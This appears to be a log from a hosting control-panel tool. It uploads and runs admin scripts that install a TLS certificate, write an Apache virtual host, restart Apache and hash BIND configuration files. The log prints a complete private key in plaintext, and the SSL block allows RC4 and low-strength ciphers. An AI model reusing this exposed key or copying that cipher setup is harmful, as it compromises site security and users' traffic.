azmLDSTGdwcPMgK6cWJozR+7fCiScLt42ovUNNbfokrZZH7wGga/dF1nYJId9esH
z4WE9+f95EfuC0bEiyQQX+kd3FgiIQiM477hYsfTWybM5If3AgMBAAGjfjB8MB0G
A1UdDgQWBBRIwbbKv9Lwgqf0NSCmqtB4klMTqzAfBgNVHSMEGDAWgBSFm24M/c0k
teH10KQDOIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAiBgNVHREEGzAZ
ghdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzANBgkqhkiG9w0BAQsFAAOCAQEAoKFM
+DbvhD+RxUc/2JPPiFDnfLwfbQJ41u2wg6zfbTZXXHdoiCplJrCghzcMZEv657xY
EFR5UKEkBLLMKifHd3+jRyq6pTwee2f1aQfxLBRJJwnf8E9eOCBm6seBSb/AZEn6
v8+yk7ZTWR7BMflHfhZaq6unzR0WKIFvmd5hkjlattV8cO5N8Fo5yocbINO8orL6
7Sfh2O3p6i0rGblldrLgDfKRODkBzGqfqoKdil4fN44/asn4dmVhrzlCXYfljvlx
JHYlhqwBW4VxWh7oQiNjzSmBCVLAyNkgJDkN3idrHDJwlKjevCmTTVd4ifX7IGdq
ukAlOqKGNdqMEGD7MQ==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCb/ZuLIFIk5TUC
Bo/0VhOZY3SB8RVxlpDUgvN0swpfpsOncr8UghQtFDbvBqH/Oq2n66RJfS38EyQI
YsZZOGSASxEmjYu2TMjj3ebmEQ+oWXll2ZsVe5tt/qJ5hvQ6K15aA4YnaGOikH83
WfQ2wRMC/xWnCV/rW7NUe5CkCxSydN+aXVopXnIt07E3ChKzms+8jwfi9yRYoXgR
/CR2Rb86g1AMEMdVKs4WjsRUazmLDSTGdwcPMgK6cWJozR+7fCiScLt42ovUNNbf
okrZZH7wGga/dF1nYJId9esHz4WE9+f95EfuC0bEiyQQX+kd3FgiIQiM477hYsfT
WybM5If3AgMBAAECggEBAJFtZ5TWZh7FnZys14p4sT8ArL70LwS91Xp6N1TmElbI
l4HGBYSuHPdF8Ez5hw/2+a0ikAB/dt6aTa6Pv9GwNGozEeM6dTVY8rUVzM1SvKE8
AWTF8cKegXKTwY/BFHIiuoz62hhlRvZo9mF5OKfPatURUXNv1wAKdu7dYCS/u+T+
gkp+EruDyH4Zr0GgXgWmuMlDUEVpt+DVZ8BItgDrqlw9YsDUZwrqWzPa+kZMHyNv
lFA+VpJpssYNYzOVneWdMt1LcX5aKd0Jos3RXYvtVOZPuMcNfMPHqJ/vbnTSHTeF
vOwOxkbQCEG6gh+aOaoGbjwEpQzaRk3ZHzL7VVYNkhECgYEAy0e0zuRTp+M8W+99
ZgkTo2Al4BivVu7SikqtoMFydIG6i7HrEb8VPC1/xr8yA9Vk1O828L9RXOMDZQuC
U1yEvF3Ko27fBrpXM/DqwkJeL0hkoStHZqMVU9uTq4rN1mSPhv3U+0BlKY6BNK5L
Ov3bS3N0goWVTWca8fXJrbwpXGkCgYEAxHI7aqT+TeBXpiXZ/yt3LbOqW1PMRQzN
rpVQl2rTCP2gLva6ayWUOgJW/EUy0X8163FS1nvak2pQppun3fWTto7U1VcqnjB/
ZKoG0nT/siyaFiWwxF12jX8iGlS+RKIE2YL4jzY45jpOHTZHI2Zdc/ZFlMIatJmE
1QO3Gv7ttV8CgYA0Hzq5Icphbd54JDwfAYzLg0ey4iFzROEvHF7QrUlPnkPatc/0
SO6E85WjvDpyyTCFeKC5shSGoJ6qNf1AqqROOC5RIYiGDRl28/r9vE6yCPnkaVhx
dLdvPQnsHjcRFc/HaSZHFgfaU/PFMjuP8K9d9UiWfvH9WsaJ69++cFSaoQKBgQCf
Y2feEVzcZuf2wMNtjCC4jgvs6cLVS5weyLuI/32Wz+IF+N4sTWNE5d0Z9jNTU3m2
PE5QBFHGRf6GD8lWCAj/mEgLiRvlGchjLqk2XQOR1yp2ScJwsLyd9cb/wj5WhXaV
3PQ7jm0AL9JtVTrG+ClfCzRNjGgKnHzwMIGCf9Dy1QKBgHb/F8agFVWgHoxDCUeF
1ixb/j2vn8N7pqm+ecJytraOpqv0oyjjfBREWCUtb1CwK5k1PhIMJywZ/f/eJ806
ovynjoANfFF6MxrPcKZsTAMub0UzsUDPb8Gw9EMFwGnsp1KFLZXAGTaoAgwv9QUF
VK52roDNddXeZe8xmG0Wo9KA
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-27 13:25:34: 

chmod 755 /tmp/pkp826261; /tmp/pkp826261; rm /tmp/pkp826261

2025-11-27 13:25:34: 


dir=/etc/ssl/certs


2025-11-27 13:25:34: 

PUT: /tmp/pkp413865

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-27 13:25:34: 

chmod 755 /tmp/pkp413865; /tmp/pkp413865; rm /tmp/pkp413865

2025-11-27 13:25:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-11-27 13:25:34: 

PUT: /tmp/pkp426858

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=/var/www/kjvdictionary_store
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/kjvdictionary
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi


2025-11-27 13:25:34: 

chmod 755 /tmp/pkp426858; /tmp/pkp426858; rm /tmp/pkp426858

2025-11-27 13:25:34: 


link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf
file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1


2025-11-27 13:25:34: 

PUT: /tmp/pkp842977

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-27 13:25:34: 

chmod 755 /tmp/pkp842977; /tmp/pkp842977; rm /tmp/pkp842977

2025-11-27 13:25:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-27 13:25:35: Establishing a connection
2025-11-27 13:25:35: 

PUT: /tmp/pkp888964

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-27 13:25:35: 

runuser -l bind -s /bin/bash -c '/tmp/pkp888964; rm /tmp/pkp888964'

2025-11-27 13:25:35: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


